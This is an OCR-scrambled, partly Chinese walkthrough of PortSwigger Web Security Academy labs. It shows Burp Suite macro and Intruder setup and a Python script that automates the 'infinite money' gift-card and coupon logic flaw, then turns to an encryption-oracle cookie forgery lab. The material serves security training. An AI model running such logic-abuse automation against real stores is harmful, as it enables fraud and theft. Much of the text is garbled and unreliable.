30 https:/facddfc71e31d451.. GET  /facademylabHeader 101 147 ] lon cookies, logging
29 https:/facdd1fc71e31d451.. GET {my-account 200 4126 HTML
27 https:/facdd1fc71e31d4a1.. GET facademylLabHeader 101 147 *a_'\ﬁ j{iﬁ
26 https:/facdd1fc71e31dd51.. GET {my-account?id=wiener v 200 4125 HTML
25 https:/facddifcT1e3d451 . GET  /academylabHeader 101 147 e Fig  TH
Eas
e fTeX AT
https:/facdd1fc71e31d451 facademylabHeader e
hitps://acdd 1fc7123 10451 .. feart | TEEE— F)\Mermaldm -
19 https:/facdd1fc71e31d451. . GET  /academylabHeader 101 147 B Romowitem E A
18 https:/facdd1fc71e31d451.. GET Jfeart 200 6338 HTML
17 https://acdd1fc71e31d451... GET /academylLabHeader 101 147
16 https:/facddfc71e31d451.. GET {product?productld=2 v 200 4998 HTML
14 https://acdd1fc71e31d451.. GET  /academylabHeader https:/facdd1fc71e31d4518063.. ecurity-academy.net/gift-card B e
13 https:/facdd1fc71e31d4a1.. GET /product?productld=2 Add to scope | 3
12 hitps:/facdd1icT1e31d451.. GET  /academylabHeader AemTm e b Ctrl/
" https:/facdd1fc71e31d451.. GET i Scan B Ctrl/ 38
10 https://acdd1fc71e31d451... POST  /login o o S ) settings below to B Ctrl/ 8
8 https:/facddfc71e31d451.. GET fresources/images/ps-lab-nits -
T https/facdd1fc71e31d451... GET Jresources/images/logoAca et S (s I Ctrl/ &
ELS Show new history window — H .
o Add comment Record macro Ctrl/ 28
Request [ Response -

Highlight
Raw | Params | Headers | Hex Delete selected items
FPOST fgift-card HTTR/1.1 Clear history
Host: acdd1fc71e31d451806322b200780000. web-security-academy.net Copy URLs
Connection: close
Content-Length: 58 Copy links
Save items

Cache-Contral: max-age=0
Uparade-Insecure-Requests: 1

® uJ l;J u Type a search term

POST /cart/checkout
GET /cart/order-confirmation?order-confirmed=

POST /gift-card

Proxy history documentation

acdd1fc71e31d451806322b200780000.web-security-academy.net
acdd1fc71e31d451806322b200780000.we b-security-academy.nat

acddifc71e31d451806322b200780000 web-security-academy.net
acdd1fc71e31d451806322b200780000 web-security-academy net

acdd1fc71e31d451806322b200780000.web-security-academy.nat

acdd1fc71e31d451806322b200780000.web-security-academy.net

Burp Project Intruder Repeater Window Help

U THatcTe:

oK Cancel

[Dashboard Target | Proxy | Intruder I Repeater T Sequencer I Decoder T Comparer IExtender Tiject options | User options

‘ Connections | HTTP | SSL | Sessions

Misc

® Session Handling Rules

You can define session handlin
in to the application

ng session validity. Before each request is issued. Burp aj

ake Burp perform specific actions when making HTTP.

5. Each rule has a defined scope (for
ies in sequence each of the rules that are ig-scope

Enabled | Description

Tools

Add
 Ede
Remove
Duplicate
T

l Down

[ Use cookies from Burp's cookie jar

Scanner

Qpen sessions tracer
® Cookie Jar

acdd1fc71e31d451806322b200780000 web-security-academy net

acdd1fc7131d4618063225209TRI000.ivab securty-academy el

Tools Scope

Select the tools that this rule will be applied to.

[ Target ] Scanner /] Repeater
L] Spider ¥ Intruder ] Sequencer
L] Extender L] Proxy (use with caution)

URL Scope

Use the configuration below to control which URLSs this rule applies to_

@ Include all URLs
() Use suite scope [defined in Target tab]

() Use custom scope

To monitar or troubleshoot the behavior of your session handling rules, you can use the sessions tracer to view in detail the results of process

Burp maintains a cookie jar that stores all of the cookies issued by visited web sites. Session handling rules can use and update these cooki
control how Burp automatically updates the cookie jar based on traffic from particular tools.

@ Parameter Scope

You can restrict the rule to requests containing specific parameters if required.

[ Restrict to requests containing these parameters:

Edit



Maonitor the following tools” traffic to update the cookie jar:

) Proxy (] Scanner [ ] Repeater [ Spider
[ Intruder (] Sequencer [_] Extender

Open cookie jar
® Macros

@ A macro is a sequence of one or more requests. You can use macros within session handling rules to perform tasks such as logging in to the

Details --> Add --> Run a macro

n handling rule editor

Details | Scope

® Rule Description

Rule 1

® le Actions

ThW actions below will be performed in sequence when this rule is applied to a request.

[ J Enahl...| Description

Use cookies from the session handling cookie jar
Set a specific cookie or parameter value

Check session 15 valid >

Prompt for in-browser session recovery

Run a post-request macro

Invoke a Burp extension

| ok || cancel |

FE 5 Y B T AR 7 Add J& SC# I — AN T 3% 4 ctrl #RIKAT15, 20, 23, 24,28 LR EAFREKIARILMER, B)5 OK

4 Macro Recorder - Macro 2

® Macro Recorder

Select the items from the proxy history that you wish to include in the macro, and click "OK". Mote that to record a macro ' Intercept is off '
now using your browser you will need to ensure that proxy interception is turned off.

Filter: Hiding CS5, image and general binary content @

[P . | Mastema [ 1imm | T Cditnd | Cinbin |1 mnmsl | Kamas + Eitee |




o V| 1HiusL | vieL g | L) ot rargies | Luieu | SJldlus | ey | VIV L. | LALEn

30 https:/facdd1fc71e31d451.. GET facademylabHeader 101 147 A
29 https:/facdd1fc71e31d451.. GET fmy-account 200 4126 HTML

27 https:/facdd1fc71e31d451... GET facademylLabHeader 101 147

26 https:/facdd1fc71e31d451... GET fmy-account?id=wiener v 200 4125 HTML

25 https:/facdd1fc71e31d451.. GET facademylLabHeader 101 147

22 https:/facdd1fc71e31d451.. GET facademylabHeader 101 147

21 https:/facdd1fc71e31d451... GET feart 200 6743 HTML

20 hitpsifacddiic71e31d451 . POST Jeamcowpen ¥ 327

19 https:/facdd1fc71e31d451... GET facademylLabHeader 101 147

18 https:/facdd1fc71e31d451... GET feart 200 6366 HTML

17 https:/facdd1fc71e31d451.. GET facademylLabHeader 101 147

16 https:/facdd1fc71e31d451... GET fproduct?productld=2 v 200 4995 HTML

15 htpsilacddic7ledtd4st.. POST e V32w

14 https:/facdd1fc71e31d451.. GET facademylabHeader 101 147

13 https:/facdd1fc71e31d451.. GET fproduct?productld=2 v 200 4993 HTML

12 https-/facdd1fc71e31d451 . GET facademyl abHeader 101 147

" https:/facdd1fc71e31d451... GET ! 200 11616 HTML

10 https:/facdd1fc71e31d451... POST  flogin v 302 232

8 https:/facdd1fc71e31d451.. GET fresources/images/ps-lab-notsol... 200 934 KWL svg

T https:/facdd1fc71e31d451.. GET fresources/images/logoAcadem. .. 200 8930 KWL svg

6 https:/facdd1fc71e31d451.. GET facademylabHeader 101 147 3
Lee e iaar e naiara pp— . - P _/ o . v

-«
M Response ]

_M Params I Headers T Hex l

FPOST fyift-card HTTR/M 1 A
Host: acdd1fc71e31d4518063220200780000 web-security-academy.net

Connection: close

Content-Length: 58 v

@ < + = ‘ Type a search term | 0 matches

| OK || Cancel |

e e R LA L s

HEHEAMER B configure item

4 Macro Editor

® Macro Editor

Use the configuration below to define the items that are included in the macro, and the order they will be issued. You can configure how parameters and cookies are handled for each item. You can
also test the macro to confirm it is working correctly.

Macro description: |Macr02 |

Macro items:
# Host Method URL |Status |Cook\es received Derived parameters [ Configure item ]
1 https://acdd1fc71e31d451... POST Jeart 302
2 https:/facdd1fc71e31d451... POST Icart/coupon 302 Move up
3 https:/facdd1fc71e31d451... POST fcart/checkout 303
4 https-ffacdd1fcT1e31d451  GET feartforder-confirmation?order-confirme. | 200 order-confirmed Move down
5 https://acdd1fc71e31d451... POST /gift-card 302
Remove item
- . ¥
E Headers | Hex | HTML T Render ]
<table class=is-table-numbers> i
-
<thody=
<tr>
<th>Code=</th>
<tr>
<td>uG2vjN1GS9=/td>
</tr> Re-record macro
ooy

D)




</anie>
</div=

E Re-analyze macro
1

@ < + > ype a search term

0 matches

Test macro |

EBE A TEH S35 Add -- > H5Parameter name: gift-card

--> FRiCREIEAH K RIS --> 0K --> OK

% Define Custom Parameter

:ssional v2.0beta - Temporary Project - licensed to surferxyz
andling action editor - Rule 1 pas L
‘! Configure Macro ltem: GET request to https://ac501fdf1e294a25802c8c4f00bb007f.web-sec... X
® Configure Macro Item
Configure how cookies and request parameters are handled for this macro item.
Cookie handling
[ Add cookies received in responses to the session handling cookie jar
[¥] Use cookies fram the session handling cookie jar in requests
Parameter handling
order-confirmed Derive from prior resp. M Response 3
Custom parameter locations in response /
Name Value derived from H
Edit
Remove
oK
OK Cancel
nthe attack Tinishes, you will have enoughn store creditto buy the Jacke
solve the lab.

F|T Macor Editor T, miiH5AMERME, Aii Configure item

B Macro Editor

(?) Macro Editor

Use the configuration below to define the items that are included in the macro, and the order they will be issued. You can configure how parameters and cookies
also test the macro to confirm it is working correctly.

® Define Custom Parameter

Configure the details of the custom parameter location. You need to specify the name that is used for this parameter in
subsequent macro requests, and the location within this response from which the parameter's value should be derived.

Parameter name: | gift-card

Define the
automati

ation of the parameter value. Selecting the item in the response panel will create a suitable configuration

ify the configuration manually to ensure it works effectively.

¢ [ Extract from regex group —————————————————————

Start after expression: <td=(.*?)<ftd=\n <hr>

Start at offset ¥ Case sensitive
® End at delimiter:

() End at fixed length-

(L] Exclude HTTP headers ] Updale config based on selection below

Refetch response

N
-

</table>
<p=<strong>You havefbought the following gift cards:</strong=</p>
<table class=is-table-ninbers>
<thody>
<tr>
<th>Code</th>
<ftr>
<tr>
<td>-!td>

<ftr>

<lthody>
</table>
</div>
<Isection>
</div>
</body>

v

0 matches

[ o _| [ concel |

are handled for each item. You can

Macro description: | Macro 1
Macro items: " - .
% Configure Macro ltem: POST request to https://ac501fdf1e294a25802c8c4f00bb007f.web-se...
# | Host Method | URL Status Cookies received Derived parameters ¥
1 hips//ack0ifdfle294a258  POST Jcart 302 S @ Configure Macro Item
2 hitpsifacsOtfdHe294a258. . POST [cart/coupon 302 Move
3 hitpsfack0tidc294a258, POST Jeaticheckout 03 Configurs how cookies and request parameters are handled for this macro item.
4 hitpsfacs0Tfdfle294a258.. GET [cart/order-confimationZorder-confirme. . 200 order-confirmed Move d T
ookie handiin
§  hitpsifacs0ifdfe294a258... POST Igiftcard 202 g
Remaly (¥ Add cookies received in responses to the session handling cookie jar
[ Use cookies from the session handiing caokie jar in requests
Parameter handling
£l 3
[ Request | Response corf Use preset value v| F6ZRwaLmIZInci46iuk2QpY TOVAYE
[Raw | Params | Headers [ Hex
POST fgfi-zard HTTP/1.1 R
Host: ac501fdfl £294a25802c8 4005 b007f wb-sscurity-acadsmy. nst
Cannection: close
Content-Length: 58 gif-card Use preset value v| FAsIMZaGZ
Cache-Contral: max-age=0 Resecodl
Upgrade-tnsecure-Requests: 1 ([ Rorecord
Origin: https://ac501fdfl ©294a25802 cBe4f00bb007{ web-security-academy. net Re-anal
Content-Type: application/s-www-form-urlencoded (8g=enaid
@ [=][+][2] [1eeassarch term 0 matches Test m|
Custom parameter locations in respanse
oK Name Value derived from [ A |
[E— Eat
© Remove
o3 oK Cancel | Blication, obtaining anti-CSf
|
Whan Tha affank WAl Ravia BRATIAR STAre Ararit ta R Tha rankat

1% gift-card R H Respense 4




3 C

onfigure Macro Item: POST request to https:/fac501 294a25802c8c4f00bb007f.web-s

@

Configure Macro Item
Configure how cookies and request parameters are handled for this macro item.

Cookie handling

[] Add cookies received in responses to the session handling cookie jar

[/] Use cookies from the session handling cookie jar in requests

Parameter handling

csrf Use preset value |v] FEZRwvxgLmIftZInci4Biuk2QpYTOVaYE

gift-card

lResponsetl "}

Derive from prior response

Use preset value

Custom parameter locations in response

MName Value derived from {

Ad_|

oK ]

. Edit |
. Remove l

RJE R Test macro H— TRARIEHR R T KM —MERBERIVG, KBSHHMER T, BEXEFECKBRIEE T35

.

Macro Editor

® Macro Editor

Use the configuration below to define the items that are included in the macro, and the rder they will be issued. You can configure how parameters and cookies are handled for each item. You can
also test the macro to confirm it is working correctly.

® Macro Tester

Macro deseription: | Macro 1

Testing macro: Macro 1

Use this function to test the macra and determine whether it is working as required.

E1S

Macro items
Macro items:

# |Host | Method | URL | Status | Cookies received | Derived para
# | Host Method URL Status Cookies received Derived parameters | configure item | 1 hitps/acs0fdfle POST  /cart 302
1 hiips/acs01idMe294a258 . POST Teart 302 B — 2 htpsi/acs0ifdfie.. POST  [carticoupon
2 hitps//ach01fdfle294a258 . POST [cart/coupon 302 Move up 3 hitpsfacs0ffdfte . POST  /carticheckout 303
3 htips#acs01idfle294a268  POST Jeart/eheckout 303 — 4 hitpsiliacs0tfdfle.. GET  /camiorder-confimation?or... 200
4 hupsi/acs0tidfle294a255_. GET [cart/order-confirmation?order-confirme 200 order-confirmed Mooy 5 hups/acs0ifdfe . POST  /giftcard 302 giftcard=KB
5 hitps/acs01fdfle294a255.. POST Igif-card 302 gift-card T—

Remove ftem /

Request | Response.

7

Request | Response

— jRawIHezders THex] /

Raw | Params | Headers | Hex Location: /cart

HTTP/1.1 302 Found

POST /gift-card HTTR/1.1

Connection: close
Content-Length: 0

Connection: close
Content-Length: 58
Cache-Contral: max-age=0
Upgrade-Insecure-Requests: 1

Host: ac501fdf1 229422580 -400bb007 web- it demy.net

y

Re-record macro

Crigin: https:#/ac501fdfl 2294 0.

Re-analyze macro
Content-Type: application/x-wwwform-ulencoded v

400bB00 A web-security-academy.net

® EEE -

search term 0 matches [ 1

@

[E—

0y

e || anaa | Dlication. obtaining anti-CSRF tokens.

RJE B EARBEAN—HF A& D, 84 E D # R OK), X FERE 2] Thurp E&E M.



TEER S B I GET /my-count RiZZ| Intruder H,

% Burp Suite Professional v2.0beta - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help
Dashboard | Target | Proxy | Intruder I Repeater TSsqusncsr I Decoder TCﬂmparsr IEnender T Project options T User options
[ Intercept THﬂ'Ftnsmy T WebSockets history IOpt\ons ]

‘ Filter: Hiding CSS, image and general binary content ‘@
# v |Host | Method | URL | Params | Edited | Status | Length | MIME t... | Extension | Title Comment |ssL P Cookies Time | Listen
41 https://ac501fdf1e294a258 . GET JacademylabHeader 101 147 Vv 18.200.141238 10:56:01 1. 8080 L‘\
40 https://ac501fdf1e294a258 . GET fmy = an0 A4ae LTl Infinite money logic f.__ 18200141238 10:55:59 1. 8080
38 hitps /ac501fdMe204a258 . GET  /acadgmyl Mites:/facb01fdfe294a25802c. . curity-academy.net/my-account V18200141238 10:6249 1 G080
ar https://ach01fdf1e2942268 . GET /my-ac Add to scope Infinite money logic f__ v 18.200.141.238 10:62:47 1. 8080
35 https://ach01fdf1e294a268... GET facademW Scan Vv 18.200.141.238 10:47:46 1... 8080
34 https://ach01fdf1e294a268... GET /my-accol Infinite money logic f... Vv 18.200.141.238 10:47:45 1... 8080
33 https:/fac501fdf1e294a256... GET /academyl Send to Repeater Ctri+R Vv 16.200.141.238 10:42:11 1. 8080
32 https://ac501fdf1e294a258... GET /my-accoy Sl e S Infinite money logic f... Vv 18.200.141.238 10:42:10 1... 8080
kil https:/fac501fdf1e294a258 . POST  /gift-card e 18200141238 10:42:08 1... 8080
30 https://ac501fdf1e294a258 . GET Jacademy]| Vv 18.200.141238 10:42:04 1. 8080
29 hitps//ac501fdMe294a258.. GET  /my-acco] Scnd to Comparer (response) Infinite money logic f v 18.200.141238 10:42:03 1. 8080
28 hitps://acG01fdfe294a268.. GET  /academy| SPNOWresponse in browser v 18.200.141.238 10:41:59 1... 8080
27  hitps/fach01fdfle294a258. . GET  /cart/order Requestin browser 1> Infinite money logic ... v 18.200.141.238 10:41:57 1... 8080
26 https:/fac501fdfle294a258... POST [fcart/chec| Engagement tools > «  18.200.141.238 10:41:56 1... 8080
25 hitps//acG0MMdfe294a258.. GET  facademyl Show new histary windew v 18.200.141.238 10:41:56 1... 8080
24 https://ac501fdf1e294a258 . GET Jeart Add comment Infinite money logic f.__ Vv 18.200.141238 10:41:53 1. 8080
23 https:/fac501fdf1e294a258 . POST  /cart/coup| Highlight = 18200141238 10:41:52 1. 8080
22 https://ac501fdf1e294a258 . GET Jacademy]| ) v 18200141238 10:41:48 1. 8080
21 https://ach01fdfle294a268  GET  jcart Dol Infinite: money logic f v 18200141238 10:41:47 1 8080
20 hitps//acG01fdMe294a268... GET  /product?y C'ea" history Infinite money logic f... v 18.200.141.238 10:41:46 1... 8080 | ¥
1S Copy URL J Ol

Reqiest Copy as curl command
Copy links
Raw | Headers | Hex | HTML | Render ] Save item

HTTP/1.1 200 COK Proxy history documentation k!
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 4026
<IDOCTYPE html>
<html>

<head>
<link href=/resources/cssfacademylabHeader.css rel=stylesheet>
il i PORRIR R, 5
® u u {LJ Type a search term 0 matches

R IREFE Positions --> Sniper --> Clear $

Burp Project Intruder Repeater Window Help

[Dashboard Target | Proxy | Intruder T Repeater TSequencer I Decoder Tcomparer IE)dender T Project options T User options

1212« |

Target Pnslguu: Payloads | Options

® Payloac'l Positions Start attack

Configure the pus\tionwére payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details_

Attack type: lSniper ‘v]
FET fmy-account HTTP/1.1 N Add §
Host: acB01fdf1 e294225802c8c4f00bL007f.web-security-academy.net r

Connection: close TTT———— Clear §

Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1 ]Clsar all payl
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4,; x64) AppleWebkKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Edg/86.0.622.69

Accept: text/html,application/xhtml+xml application/xml; =0.9 image/webp image/apng */*;q=0.8 application/signed-exchange;w=b3;q=0.9 Refresh
Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer: https:/fac501{dfl 6294225802 cBc400bb00TT web-security-academy. net/my-account?id=wiener
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9 en;q=0.8 en-GB;q=0.7 .en-US; =06

Cookie: session=2EPocs0kPGrSNEAAIkzIGGBdNwISIC

-
v

0 matches Clear

0 payload positions Length: 793

IR % B Payload --> Null payload

e Professional v2.0beta - Temporary Pre censed to surferxyz

Burp Project Intruder Repeater Window Help

[Dashhﬂard Target | Proxy | Intruder I Repeater TSsqusncsr I Decoder TCﬂmparsr IExlender T Project options T User options

1= |2 x|

Tornet | Dacitione. IESSESE | Otinne.|




R R R T e

Y
® Payload Sets Start attack l\

You can define one or mofe payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized
in different ways.

Payload set: |1 v Payload count: 0

Payload type:

Request count: 0

llegal Unicode

Character blocks
® payioadiOpt Numbers

This payload ty Dates se value is an empty string. With no payload markers configured, this can be used to repeatedly issue the base request unmodified.

| Brute forcer

Null payloads ’
() Continue in| Character frobber

-~ |Bitflipper v

(®) Generate

® Payload Processing

You can define rules to perform various processing tasks on each payload before it is used.

4

} Enabled | Rule

Edit

¥

Remove | »>

Ir

Up

1

® Payload Encoding

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

o
v

[¥] URL-encode these characters: | ./\=<>7+

SRIEIX HLIE 412

4 Burp Suite Profe

Burp Project Intruder Repeater Window Help

Dashboard | Target | Proxy | Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options

1212« |

Target | Positions | Payloads | Options

® Payload Sets Start attack

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized
in different ways.

Payload set: |1 v Payload count: 412
Payload type: | Null payloads v Request count: 0

® Payload Options [Null payloads]

This payload type generates pa hose value is an empty string. With no payload markers configured, this can be used to repeatedly issue the base request unmodified.

@® Generate

() Continue indefinitely

® Payload Processing

You can define rules to perform various processing tasks on each payload before it is used.

| Add | |Enabled |Rule
Cw

[rmnne)

® Payload Enceding

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

[ URL-encode these characters: | /\=<>7+8&*;

S
d

Options --> 1 WIRAHRLRE: B MLREMAEYFEEYE;F LB RN BNy RiEEME E=NKBERIEX,. ..
T TSR E K400 B R 227 — IR R BE R — MR 22 2 WK, I R Ak writeup R T & BATI T 68 Fmicro, (HRE T
ATY7 1R SRR KR T 3 B 5E N KRB UALER R 1, B LA IE R — IR O, R AR R R AT S e PR — R)

% Burp Suite Profe v2.0beta -

Burp Project Intruder Repeater Window Help

[ Dashboard | Target | Proxy | Intruder I Repeater T Sequencer I Decoder T Comparer I Extender T Project options T User options

1 = |2l
Target | Positions TPayloads Tomms]

Y
® Request Headers \ Start attack

O These settings control whether Intruder updates the configured request headers during attacks.

— o



uest Engine

e ntrol the engine used for making HTTP4& when performing att
Number of threads: {

Number of retries on network failure:
P
Throttle (mil
step | 30000

Start time:

minutes

Rii start attack BUH], &+ 1208 ERElE 1227 RBER AT E K Z A WX R 2272 SEE A5 R EIRB—

5,277

R R 48 JR B, IX AN K8 T, BT BART BA— IR SE 2 e RS R S g T

import requests
import re

import time

class InfiniteMoney:
url
lib_session
csrf_token
money_num 100
headers {}
gift_cards_code_list [1]
can_buy_gift_card_num = ©

def _init_ (self, url ):
self.url url

start(self):

print(

print(
self.login_to lib()
print(

while True:

self.search_money_num()
print( , self.money num)
if (self.money_num) 1337:

print( )

break

self.can_buy gift card_num ¢ (self.money num) 7)
if self.can_buy gift card num 50:
self.can_buy gift card_num 50




self.search_csrf_token()

self.apply coupon()

self.search_csrf_token()

self.check out_and order_confirmation()

self.redeem_gift_code()

def redeem gift code(self):
my_account_url self.url

redeem_url self.url

r_get_my_account requests.get(my_account_url, headers=self.headers)
self.csrf_token re.search(r
r_get _my_account.text).group(1)
print( , self.csrf_token)
for i in self.gift_cards_code_list:

data { : self.csrf_token, : i}
r_post_redeem requests.post(redeem_url, headers=self.headers, data=data)

print( , 1, r_post_redeem.status_code)
pass
pass

check_out_and_order_confirmation(self):
check_out_url self.url

data { : self.csrf_token}
r_check_out_post requests.post(check _out_url, headers=self.headers, data=data, allow_redirects=False)

print( , r_check out_post.status_code)

order_confirmation_url self.url

r_order_confirmation requests.get(order_confirmation_url, headers=self.headers)
print( , r_order_confirmation.status_code)

code_compile

code_body = re.search(code_compile, r_order_confirmation.text, re.S).group(l)
self.gift cards_code list re.findall(r , code_body)

print( , self.gift cards_code list)

pass

apply coupon(self):

apply coupon_url self.url
data { : self.csrf_token,

r_apply_coupon requests.post(apply_coupon_url, headers=self.headers, data=data, allow_redirects=False)
print( , r_apply coupon.status_code)

search_csrf_token(self):

my_cart_url self.url




r_get _my cart_page requests.get(my_cart_url, headers=self.headers)

self.csrf_token re.search(r
r_get my cart_page.text).group(1)

print( , self.csrf_token)
add_gift card(self):
add_gift card_url self.url
data { 12, : 5 : self.can_buy_gift card_num}
r_post_add_gift_card requests.post(add_gift_card_url, allow redirects=False, data=data, headers=self.h
print( , r_post_add_gift card.status_code)
search_money num(self):
my_account_url self.url
r_get_my_account_page requests.get(my_account_url, headers=self.headers)
self.money_num re.search(r
r_get_my_account_page.text).group(1)
print( , self.money_num)
login_to_lib(self):
login_url self.url
username
password

r_get login_page requests.get(login_url)

r_body r_get_login_page.text
self.csrf_token re.search(r , r_body).group(1)

self.lib_session re.search(r
r_get login_page.headers| 1) .group(1)

print( , self.csrf_token, self.lib_session)

headers : self.lib_session}
data { : self.csrf_token, : username, : password}
r_post_login_page requests.post(login_url, headers=headers, allow_redirects=False, data=data)

self.lib_session re.search(r

r_post_login_page.headers| 1) .group(1)
self.headers : self.lib_session}
print( , self.lib_session)

print(

url

lib = InfiniteMoney(url)

timel = time.time()

lib.start()

time2 = time.time()

print( 5 (time2-timel))
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& O £ https://ac1d1f411fca085880701ed7001c008c.web-security-academy.net/cart/order-confirmation?o... 5% 3% i<l Ef?n = ’Il @ W o = -
H Infinite money logic flaw
Web Security yiog UaB soved  |dl
Academy € Back to lab description »
Congratulations, you solved the lab! ¥ Share your skills! | "Confinue learing »
Store credit: Home | My account | Logout | & 0
$59.00

Your order is on its way!

Name Price Quantity
Lightweight "I33t" Leather Jacket $1337.00 1

Total: $1337.00

5.42 i in % Oracle ?
Providing an encryption oracle

& i3 n 28 Oraclef] & 43 B UE 22t ?



FRLWE, BFM A stay-logged-in
G RGIR B —ANINZE ) cookie : stay-logged-in: XXXXXXXXXXX

PR P 4 1R A% XK R A R R PR R R I 18, R S 23R [B] — AN cookie

[ Intercept IH’iTPmstocy IWehSockets history I Options ]

| Filter: Hiding CSS. image and general binary content

@

# Yl Host | Method | URL | Params | Edited | Status | Length | MIME t_ P Time ‘ Listen:
1005  hitps://acfo1ffé1ee53d636... GET /academylabHeader 101 147 Vv 18.200.141.238 16:00:322... 8080
1003  hitps://acfb1ffé1ee53d635... GET /post?postld=3 v 200 8924  HTML Vv 18200141238 16:00:312... 8080
1002 https://acfb1fid1ee53d638.. POST ‘.’post.'commem; | v 302 183 v 18200141238 16:00:27 2. 8080
1001 https://acfbifid1ee53d638. . GET JacademylabHeader 101 147 Vv 18200141238 16:00:14 2. 8080
1000  https//acfb1ffd1ee53d638. .. GET resources/images/avatarDefault. 200 9997 XML Vv 18200141238 16:00:06 2. 8080
998  https//acfb1ffd1ee53d638. . GET resources/js/labHeader js 200 888 script Vv 18200141238 16:00:06 2. 8080
995  https://acfbifi81ee53d638. . GET Ipost?postld=3 v 200 8794 HTML Vv 18200141238 16:00:05 2. 8080
994  https/iwww google com GET /search?hl=en&safe=off&hl=en& v v 3113831 15:69:07 2. 8080
993 https://dictionary cambrid_.  GET fzhs/spellcheck/%E8%8B%B1. v 200 234654 HTML v 54251164119 15:68:482 . 8080

Response

Request | Response

Raw | Params | Headers | Hex

Raw | Headers | Hex

Host: acfh1fi812e53d63805fhdda00910057 web-security-academy. net

Connection: close

Content-Length: 92

Cache-Contral: max-age=0

Upgrade-Insecure-Requests: 1

Origin: https: Macfh1fB1 ee53d63805fkdda00910057 web-security-academy. net

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4,; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/;
Accept: text/html application/xhtml+xml, application/xml;q=0.9 image/webp image/apng,*/* 4=0.8 application/signed-exchange;
Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer: hitps:/fachi1#81ee53d63805fddalio10057 web-security-academy.net/post?postld=3
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9,en;q=0.8 &n-GB;q=0.7 .en-US;g=0.6

Cookie: stay-logged-inmg9Y plywmHEeM%2fw0pH44k0Ta3uddGob ClimMkzbB%2fEos %3d; session=oEE4A90a4UYuF YgQsOpT

csr=8sEvlkKMg 1 NOpkRaRmiolOEXkguwC QtFH&postld=3&comment=111111111118&name=1&email=1118website=

Location: /post?postld=3
Set-Cookie: notification=CfiuuZePBBcmjHeLXwRS%2fyj%2boRD%2bzuluAcEUmMRCrX4%3d; Path=/; HttpOnly

@ lZJ B B Type a search term

2
*
Y

5 BE A B S E T, I B iR B

Websecurity Authentication bypass via encryption oracle

Academm Back to lab description >

Invalid email address: 1

HEITE A8 215 L5 U Acookie i,

Home | My account | Log out

Not:



Dashboard | Target | Proxy | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options

4 Burp Suite Professional v2.0beta - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help

Dashboard | Target | Proxy | Intruder Tﬂep&'xer T Sequencer T Decoder IComparer I Extender T Project options T User options ]
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Go Cancel < |v >\ Follow redirection Target: https://acfb1ff81ee53d63805fbdda00910057. web-security-academy.net /@

Request Response

Raw | Params | Headers | Hex Raw | H rs | Hex

POST fpost/comment HTTR/.1 HTTP/1.1 302 Found
Host: acfli1f81e:53d63805fdda00210057 . web-security-academy. net Location: /post?postld=3
Set-Cookie_notification=CfiuuZePBBemjHe XwRS%2fz QuEU07 xZGTEkm%2bimIXY0%3d; Path=/; HttpOnly

T
T

Connection: close
Content-Length: 82
Cache-Control: max-age=0 ent-Length: 0
Upgrade-Insecure-Requests: 1

Origin: https:/facfb1ff312e53d63805dda00910057 .web-security-academy. net

Content-Type: application/s-www-form-urlencoded

User-Agent: Mozilla/S.0 (Windows NT 10.0; Wing4; x64) AppleWebKit/S37 .36 (KHTML, like Gecka)
Chrome/86.0.4240.198 Safari/537.36 Edg/86.0.622.69

Accept

text/html application/xhtml+xml applicationfxml: q=0.9 image/webp,imags/apng,** q=0.8 appl
3;9=0.9

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer: hitps:/acfb1ffE1ee53d63805fhddal00910057 web-security-academy net/post?postld=3
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;9=0.8,en-GB;q=0.7 en-US;g=0.6

Cookie: stay-logged-in=g9Y pKywmH8eM%2fwipH44k0TE3uddGoBCljmMNkzhB%2fEos%3d;
session=0EE4UI90a4UYuF YgQsOpTYSyhDSHisAT

csri=8sEwdkKVq1 NOpkRaRmiol QEXkquwCOtFH&postld=3&comment=111 &name

onal v2.0beta - Temporary Proje: censed to surferxyz

Burp Project Intruder Repeater Window Help
Dashboard | Target | Proxy | Intruder TRepe.'ier TSsqusncsr IDECMer ICﬂmparer T Extender T Project options T User options ]
1= |2« [ @aa ...
Go Cancel <|v >|r Target: https:/lacfh1ff81ee53d63805fbdda00910057.web-security-academy.net / @
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
iET fpost?postld=3 HTTPA .1 A <span class="lab-status-icon"></span> &
ost: acfl1fid1 ee53d63805fdda00910057 .web-security-academy. net r </div> M
onnection: close </div>
ache-Control: max-age=0 </section>
pgrade-Insecure-Requests: 1 </div>
ser-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4; x64) AppleWebKit/537 36 (KHTML, like Gecko)
hromef86.0.4240.198 Safari/537.36 Edg/e6.0.622.69 <divtheme="hlog">
ceept: <section class="maincontainer">
axt/html,applicationfxhtml+xml,application/xml; g=0.9 imagefwebp image/apng **;q=0.8 ,application/signed-exchange vw=h <div class="container is-page"> il
;=0.9 <header class="navigation-header">
